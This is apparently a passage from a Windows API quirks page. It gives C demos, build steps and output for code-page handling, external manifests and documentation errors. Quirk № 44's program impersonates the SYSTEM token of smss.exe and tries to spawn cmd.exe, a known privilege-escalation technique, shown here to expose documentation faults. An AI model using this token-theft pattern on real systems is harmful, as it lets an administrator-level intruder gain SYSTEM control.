    			                              WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    			                              TITLE, sizeof(TITLE) / sizeof(*TITLE),
    			                              szTitle, sizeof(szTitle),
    			                              (LPCCH) NULL, (LPBOOL) NULL);
    
    			if (uiTitle == 0)
    				PrintConsole(hConsole,
    				             L"WideCharToMultiByte() returned error %lu for window title \'%ls\' of %lu wide characters\n",
    				             dwError = GetLastError(), TITLE, wcslen(TITLE));
    			else
    			{
    				wce.lpszClassName = szClass;
    
    				atom = RegisterClassExA(&wce);
    
    				if (atom == 0)
    					PrintConsole(hConsole,
    					             L"RegisterClassExA() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					hWindow = CreateWindowExA(WS_EX_APPWINDOW,
    					                          szClass,
    					                          szTitle,
    					                          WS_OVERLAPPEDWINDOW | WS_VISIBLE,
    					                          CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
    					                          (HWND) NULL,
    					                          (HMENU) NULL,
    					                          (HINSTANCE) &__ImageBase,
    					                          NULL);
    
    					if (hWindow == NULL)
    						PrintConsole(hConsole,
    						             L"CreateWindowExA() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    						uiQuirk = GetWindowTextLengthA(hWindow);
    
    						if (uiQuirk == 0)
    							PrintConsole(hConsole,
    							             L"GetWindowTextLengthA() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    							PrintConsole(hConsole,
    							             L"GetWindowTextLengthA() returned %u\n",
    							             uiQuirk);
    
    						uiQuirk = GetWindowTextA(hWindow, szQuirk, sizeof(szQuirk));
    
    						if (uiQuirk == 0)
    							PrintConsole(hConsole,
    							             L"GetWindowTextA() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    							if (memcmp(szQuirk, szTitle, uiTitle) != 0)
    								PrintConsole(hConsole,
    								             L"GetWindowTextA() returned DIFFERENT window title \'%hs\' of %u characters\n",
    								             szQuirk, uiQuirk);
    
    						uiQuirk = GetClassNameA(hWindow, szQuirk, sizeof(szQuirk));
    
    						if (uiQuirk == 0)
    							PrintConsole(hConsole,
    							             L"GetClassNameA() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    							if (memcmp(szQuirk, szClass, uiClass) != 0)
    								PrintConsole(hConsole,
    								             L"GetClassNameA() returned DIFFERENT class name \'%hs\' of %u characters\n",
    								             szQuirk, uiQuirk);
    
    						uiQuirk = RealGetWindowClassA(hWindow, szQuirk, sizeof(szQuirk));
    
    						if (uiQuirk == 0)
    							PrintConsole(hConsole,
    							             L"RealGetWindowClassA() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    							if (memcmp(szQuirk, szClass, uiClass) != 0)
    								PrintConsole(hConsole,
    								             L"RealGetWindowClassA() returned DIFFERENT class name \'%hs\' of %u characters\n",
    								             szQuirk, uiQuirk);
    
    						while ((bResult = GetMessageA(&msg, (HWND) NULL, 0, 0)) > 0)
    						{
    							if (TranslateMessage(&msg))
    								;
    
    							lResult = DispatchMessageA(&msg);
    						}
    
    						dwError = bResult < 0 ? GetLastError() : msg.wParam;
    					}
    
    					if (!UnregisterClassA(szClass, (HINSTANCE) &__ImageBase))
    						PrintConsole(hConsole,
    						             L"UnregisterClassA() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
    Note: the strings CLASS and TITLE contain 123 respectively 15 × 17 = 255 (wide) characters, equivalent to 123 and 255 ANSI characters in 123 and 255 bytes or 123 and 255 Unicode code points in 123 × 2 + 17 = 263 and 255 × 3 = 765 UTF-8 code units alias bytes.
  2. Build the console application quirk41.exe from the source file quirk41.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk41.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk41.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk41.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk41.exe
    quirk41.obj
  3. Execute the console application quirk41.exe built in step 2. to show the behaviour with the legacy code page, then close its window:

    VER
    .\quirk41.exe
    Microsoft Windows [Version 10.0.22621.1105]
    
    GetWindowTextLengthA() returned 255
  4. Create the text file quirk41.xml with the following content next to the console application quirk41.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk41' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <application xmlns='urn:schemas-microsoft-com:asm.v3'>
            <windowsSettings>
                <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
            </windowsSettings>
        </application>
        <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
            <application>
                <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
            </application>
        </compatibility>
        <description>Quirk41 Console Application</description>
    </assembly>
    Note: the double use of an XML element named application is (at least) clumsy and error-prone!
  5. Embed the Application Manifest quirk41.xml created in step 4. in the console application quirk41.exe built in step 2.:

    MT.EXE /CANONICALIZE /MANIFEST quirk41.xml /OUTPUTRESOURCE:quirk41.exe
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  6. Execute the console application quirk41.exe configured in step 5. for the code page 65001 alias CP_UTF to demonstrate the (mis)behaviour bug, then close its window:

    VER
    .\quirk41.exe
    Microsoft Windows [Version 10.0.22621.1105]
    
    GetWindowTextLengthA() returned 765
    GetClassNameA() returned DIFFERENT class name '€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö' of 245 characters
    OUCH: the Win32 function GetClassNameA() returns a truncated string of only 114 code points in 245 code units instead of 123 code points in 263 code units!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 42

If you wonder why the preceding demonstrations don’t use an external Application Manifest, but embed one instead: with an external application manifest Windows exhibits braindead (mis)behaviour!

Demonstration

Perform the following 9 simple steps to show the (mis)behaviour.
  1. Create the text file quirk42.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		PrintConsole(hConsole,
    		             L"GetACP() returned %u\n"
    		             L"GetConsoleCP() returned %u\n"
    		             L"GetConsoleOutputCP() returned %u\n"
    		             L"GetOEMCP() returned %u\n",
    		             GetACP(), GetConsoleCP(), GetConsoleOutputCP(), GetOEMCP());
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             dwError = GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk42.exe from the source file quirk42.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk42.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk42.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk42.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk42.exe
    quirk42.obj
  3. Create an empty external application manifest quirk42.exe.manifest next to the console application quirk42.exe built in step 2. and execute quirk42.exe a first time:

    COPY NUL: quirk42.exe.manifest
    .\quirk42.exe
            1 file(s) copied.
    The system cannot execute the specified program.
    Note: the empty external application manifest quirk42.exe.manifest shows the expected and intended effect – it lets the console application quirk42.exe fail to load!
  4. Remove the empty external application manifest quirk42.exe.manifest and execute the console application quirk42.exe a second time:

    ERASE quirk42.exe.manifest
    .\quirk42.exe
    GetACP() returned 1252
    GetConsoleCP() returned 858
    GetConsoleOutputCP() returned 858
    GetOEMCP() returned 850
    OOPS: without (external) application manifest, the console application quirk42.exe uses the legacy Code Page 858 alias OEM Multilingual Latin 1 + Euro Symbol, which encodes as code point 0xD5 = 213, not the system’s global OEM code page 850 alias Multilingual (Latin I) or OEM Multilingual Latin 1; Western European (DOS), which encodes ı as code point 0xD5 = 213!
  5. Create the external application manifest quirk42.exe.manifest with the following content:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk42' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <application xmlns='urn:schemas-microsoft-com:asm.v3'>
            <windowsSettings>
                <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
            </windowsSettings>
        </application>
        <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
            <application>
                <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
            </application>
        </compatibility>
        <description>Quirk42 Console Application</description>
    </assembly>
  6. Execute the console application quirk42.exe a third time:

    .\quirk42.exe
    GetACP() returned 1252
    GetConsoleCP() returned 858
    GetConsoleOutputCP() returned 858
    GetOEMCP() returned 850
    OUCH¹: the external application manifest quirk42.exe.manifest shows no effect, it is but ignored!
  7. Rename the console application quirk42.exe and its external application manifest quirk42.exe.manifest to quirk42.com and quirk42.com.manifest respectively, then execute the console application quirk42.com a fourth time:

    RENAME quirk42.exe quirk42.com
    RENAME quirk42.exe.manifest quirk42.com.manifest
    .\quirk42.com
    GetACP() returned 65001
    GetConsoleCP() returned 65001
    GetConsoleOutputCP() returned 65001
    GetOEMCP() returned 65001
    Note: the external application manifest quirk42.com.manifest shows the expected and intended effect now – the console application quirk42.com uses the code page 65001 alias CP_UTF8!
  8. Overwrite the external application manifest quirk42.com.manifest with an empty file and execute the console application quirk42.com a fifth time:

    COPY /Y NUL: quirk42.com.manifest
    .\quirk42.com
            1 file(s) copied.
    GetACP() returned 65001
    GetConsoleCP() returned 65001
    GetConsoleOutputCP() returned 65001
    GetOEMCP() returned 65001
    OUCH²: the (empty) external application manifest shows no effect any more, it is but ignored!
  9. Remove the empty external application manifest quirk42.com.manifest and execute the application quirk42.com a last time:

    ERASE quirk42.com.manifest
    .\quirk42.com
    GetACP() returned 65001
    GetConsoleCP() returned 65001
    GetConsoleOutputCP() returned 65001
    GetOEMCP() returned 65001
    OUCH³: the absence of an external application manifest too shows no effect!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 43

The Win32 functions AreFileApisANSI(), GetACP(), GetOEMCP(), SetFileApisToANSI() and SetFileApisToOEM() are documented in the MSDN as follows:
Determines whether the file I/O functions are using the ANSI or OEM character set code page. This function is useful for 8-bit console input and output operations.

[…]

The file I/O functions whose code page is ascertained by AreFileApisANSI are those functions exported by KERNEL32.DLL that accept or return a file name.

Retrieves the current Windows ANSI code page identifier for the operating system.
Returns the current original equipment manufacturer (OEM) code page identifier for the operating system.
Causes the file I/O functions to use the ANSI character set code page for the current process. This function is useful for 8-bit console input and output operations.

[…]

The file I/O functions whose code page is set by SetFileApisToANSI are those functions exported by KERNEL32.DLL that accept or return a file name.

[…]

The 8-bit console functions use the OEM code code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.

Ouch¹: the highlighted statement is but wrong!
Causes the file I/O functions for the process to use the OEM character set code page. This function is useful for 8-bit console input and output operations.

[…]

The file I/O functions whose code page is set by SetFileApisToOEM are those functions exported by KERNEL32.DLL that accept or return a file name.

[…]

The 8-bit console functions use the OEM code code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.

Ouch²: the highlighted statement is but wrong!

The MSDN article Console Application Issues states:

The 8-bit console functions use the OEM code page.

[…]

The console will accept UTF-16 encoding on the W variant of the APIs or UTF-8 encoding on the A variant of the APIs after using SetConsoleCP and SetConsoleOutputCP to 65001 (CP_UTF8 constant) for the UTF-8 code page.

Barring that solution, a console application should use the SetFileApisToOEM function. That function changes relevant file functions so that they produce OEM character set strings rather than ANSI character set strings.

OUCH³: despite its third repetition the first highlighted statement is but still wrong – contrary to the relevant file functions which use the operating system’s (static) OEM code page when switched via the SetFileApisToOEM() function, the 8-bit console input functions use an arbitrary code page which can be queried by the GetConsoleCP() function and set by the SetConsoleCP() function, whereas the 8-bit console output functions use another arbitrary code page which can be queried by the GetConsoleOutputCP() function and set by the SetConsoleOutputCP() function!

Note: the console commands Chcp and Mode query the console input code page, but always set both the console input and output code pages.

OUCH⁴: contrary to the last highlighted statement, a console application which uses 8-bit console input and output functions together with 8-bit file input and output functions needs to call the AreFileApisANSI() function, then depending on its result the SetConsoleCP() and SetConsoleOutputCP() functions with the Code Page Identifier returned from either the GetACP() or the GetOEMCP() function!

Note: that the Code Page Identifier returned from the GetOEMCP() function can differ from those returned from the GetConsoleCP() and GetConsoleOutputCP() functions has already been shown in the previous section Quirk № 42!

Demonstration

  1. Create the ANSI text file quirk43.txt containing the extended characters of Code Page 1252 in an arbitrary, preferable empty directory:

    €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
    Note: with the trailing CR/LF pair the file quirk43.txt contains 125 single-byte characters.
  2. Display the file quirk43.txt using the builtin Type command:

    TYPE quirk43.txt
    ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´­±‗¾¶§÷¸°¨·¹³²■ 
    Oops: the file’s content is rendered like mojibake!
  3. Set the console’s (input and output) code page to 1252 and repeat the previous step 2:

    CHCP.COM 1252
    TYPE quirk43.txt
    Active code page: 1252.
    
    €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ

Quirk № 44

The documentation for the CreateProcessAsUser() function states:
Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token.

Typically, the process that calls the CreateProcessAsUser function must have the SE_INCREASE_QUOTA_NAME privilege and may require the SE_ASSIGNPRIMARYTOKEN_NAME privilege if the token is not assignable.

[…]

To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token.

[…]

By default, CreateProcessAsUser creates the new process on a noninteractive window station with a desktop that is not visible and cannot receive user input. To enable user interaction with the new process, you must specify the name of the default interactive window station and desktop, "winsta0\default", in the lpDesktop member of the STARTUPINFO structure.

The documentation for the LogonUser function states too:
In most cases, the returned handle is a primary token that you can use in calls to the CreateProcessAsUser function. However, if you specify the LOGON32_LOGON_NETWORK flag, LogonUser returns an impersonation token that you cannot use in CreateProcessAsUser unless you call DuplicateTokenEx to convert it to a primary token.
The documentation for the TOKEN_INFORMATION_CLASS enumeration states:
If TokenSessionId is set with SetTokenInformation, the application must have the Act As Part Of the Operating System privilege, and the application must be enabled to set the session ID in a token.
The MSDN article Access Rights for Access-Token Objects states:
The following are valid access rights for access-token objects:

[…]

Unfortunately all highlighted parts are but wrong!

Demonstration

Perform the following 8 simple steps to show the (mis)behaviour and a bug.
  1. Create the text file quirk44.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <tlhelp32.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    #define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE	3	// "SeAssignPrimaryTokenPrivilege"
    
    const	TOKEN_PRIVILEGES	tpToken = {1, {SE_ASSIGNPRIMARYTOKEN_PRIVILEGE, 0, SE_PRIVILEGE_ENABLED}};
    
    const	STARTUPINFO	si = {sizeof(si)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESSENTRY32	pe /* = {sizeof(pe)} */;
    
    	PROCESS_INFORMATION	pi;
    
    	DWORD	dwError;
    #ifdef QUIRKS
    	DWORD	dwSessionId;
    #endif
    	DWORD	dwProcessId = 0;
    	HANDLE	hSnapshot;
    	HANDLE	hToken;
    	HANDLE	hThread = GetCurrentThread();
    	HANDLE	hProcess = GetCurrentProcess();
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    		if (hSnapshot == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"CreateToolhelp32Snapshot() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			pe.dwSize = sizeof(pe);
    
    			if (!Process32First(hSnapshot, &pe))
    				PrintConsole(hConsole,
    				             L"Process32First() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				do
    					if ((pe.th32ParentProcessID == 4)
    #if 0
    					 && (wmemcmp(pe.szExeFile, L"smss.exe", sizeof("smss.exe")) == 0))
    #else
    					 && (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
    #endif
    						dwProcessId = pe.th32ProcessID;
    
    				while (Process32Next(hSnapshot, &pe));
    
    				dwError = GetLastError();
    
    				if (dwError != ERROR_NO_MORE_FILES)
    					PrintConsole(hConsole,
    					             L"Process32Next() returned error %lu\n",
    					             dwError);
    			}
    
    			if (!CloseHandle(hSnapshot))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             GetLastError());
    		}
    
    		if (dwProcessId == 0)
    		{
    			PrintConsole(hConsole,
    			             L"Process \'SMSS.exe\' not found!\n");
    
    			dwError = ERROR_NOT_FOUND;
    		}
    		else
    		{
    			if (!OpenProcessToken(hProcess,
    			                      TOKEN_QUERY,
    			                      &hToken))
    				PrintConsole(hConsole,
    				             L"OpenProcessToken() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    #ifdef QUIRKS
    				if (!GetTokenInformation(hToken,
    				                         TokenSessionId,
    				                         &dwSessionId,
    				                         sizeof(dwSessionId),
    				                         &dwError))
    					PrintConsole(hConsole,
    					             L"GetTokenInformation() returned error %lu\n",
    					             GetLastError());
    #endif
    				if (!CloseHandle(hToken))
    					PrintConsole(hConsole,
    					             L"CloseHandle() returned error %lu\n",
    					             GetLastError());
    
    				hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
    				                       FALSE,
    				                       dwProcessId);
    
    				if (hProcess == NULL)
    					PrintConsole(hConsole,
    					             L"OpenProcess() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					if (!OpenProcessToken(hProcess,
    					                      TOKEN_DUPLICATE | TOKEN_QUERY,
    					                      &hToken))
    						PrintConsole(hConsole,
    						             L"OpenProcessToken() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    						if (!ImpersonateLoggedOnUser(hToken))
    							PrintConsole(hConsole,
    							             L"ImpersonateLoggedOnUser() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    						{
    							if (!CloseHandle(hToken))
    								PrintConsole(hConsole,
    								             L"CloseHandle() returned error %lu\n",
    								             GetLastError());
    
    							if (!OpenThreadToken(hThread,
    #if QUIRKS == 0 // SetTokenInformation() for TokenSessionId fails with
                    // ERROR_ACCESS_DENIED despite TOKEN_ADJUST_SESSIONID!
    							                     TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_SESSIONID | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
    #else
    							                     TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_SESSIONID | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
    #endif
    							                     FALSE,
    							                     &hToken))
    								PrintConsole(hConsole,
    								             L"OpenThreadToken() returned error %lu\n",
    								             dwError = GetLastError());
    							else
    							{
    								if (!SetTokenInformation(hToken,
    								                         TokenSessionId,
    								                         &dwSessionId,
    								                         sizeof(dwSessionId)))
    									PrintConsole(hConsole,
    									             L"SetTokenInformation() returned error %lu\n",
    									             GetLastError());
    
    								AdjustTokenPrivileges(hToken,
    								                      FALSE,
    								                      &tpToken,
    								                      sizeof(tpToken),
    								                      (TOKEN_PRIVILEGES *) NULL,
    								                      (LPDWORD) NULL);
    
    								dwError = GetLastError();
    
    								if (dwError != ERROR_SUCCESS)
    									PrintConsole(hConsole,
    									             L"AdjustTokenPrivileges() returned error %lu\n",
    									             dwError);
    								else
    									if (!CreateProcessAsUser(hToken,
    									                         L"C:\\Windows\\System32\\Cmd.exe",
    									                         (LPWSTR) NULL,
    									                         (LPSECURITY_ATTRIBUTES) NULL,
    									                         (LPSECURITY_ATTRIBUTES) NULL,
    									                         FALSE,
    									                         CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
    									                         (LPWSTR) NULL,
    									                         (LPCWSTR) NULL,
    									                         &si,
    									                         &pi))
    										PrintConsole(hConsole,
    										             L"CreateProcessAsUser() returned error %lu\n",
    										             dwError = GetLastError());
    									else
    									{
    										if (!CloseHandle(pi.hThread))
    											PrintConsole(hConsole,
    											             L"CloseHandle() returned error %lu\n",
    											             GetLastError());
    
    										if (!CloseHandle(pi.hProcess))
    											PrintConsole(hConsole,
    											             L"CloseHandle() returned error %lu\n",
    											             GetLastError());
    									}
    							}
    
    							if (!RevertToSelf())
    								PrintConsole(hConsole,
    								             L"RevertToSelf() returned error %lu\n",
    								             dwError = GetLastError());
    						}
    
    						if (!CloseHandle(hToken))
    							PrintConsole(hConsole,
    							             L"CloseHandle() returned error %lu\n",
    							             GetLastError());
    					}
    
    					if (!CloseHandle(hProcess))
    						PrintConsole(hConsole,
    						             L"CloseHandle() returned error %lu\n",
    						             GetLastError());
    				}
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             dwError = GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk44.exe a first time from the source file quirk44.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk44.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk44.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk44.c
    quirk44.c(179) : warning C4090: 'function' : different 'const' qualifiers
    quirk44.c(208) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk44.exe
    quirk44.obj
  3. Create the text file quirk44.exe.manifest with the following content next to the console application quirk44.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk44' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <description>Quirk44 Console Application</description>
        <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
            <security>
                <requestedPrivileges>
                    <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
                </requestedPrivileges>
            </security>
        </trustInfo>
    </assembly>
  4. Execute the console application quirk44.exe as Administrator:

    .\quirk44.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    CreateProcessAsUser() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    Oops¹: the Win32 function CreateProcessAsUser() does not fail with Win32 error code 1314 alias ERROR_PRIVILEGE_NOT_HELD, i.e. contrary to its documentation cited above it does not require the SE_INCREASE_QUOTA_NAME privilege!

    Oops²: it also does not need to be called with a primary token but accepts an impersonation token as well!

  5. Build the console application quirk44.exe a second time from the source file quirk44.c created in step 1., now with the preprocessor macro QUIRKS defined:

    CL.EXE /DQUIRKS quirk44.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk44.c
    quirk44.c(179) : warning C4090: 'function' : different 'const' qualifiers
    quirk44.c(208) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk44.exe
    quirk44.obj
  6. Execute the console application quirk44.exe as Administrator again to show the bug:

    .\quirk44.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    SetTokenInformation() returned error 5
    CreateProcessAsUser() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: although the access token is properly opened with TOKEN_ADJUST_SESSIONID for TokenSessionId, the SetTokenInformation() function fails with Win32 error code 5 alias ERROR_ACCESS_DENIED!
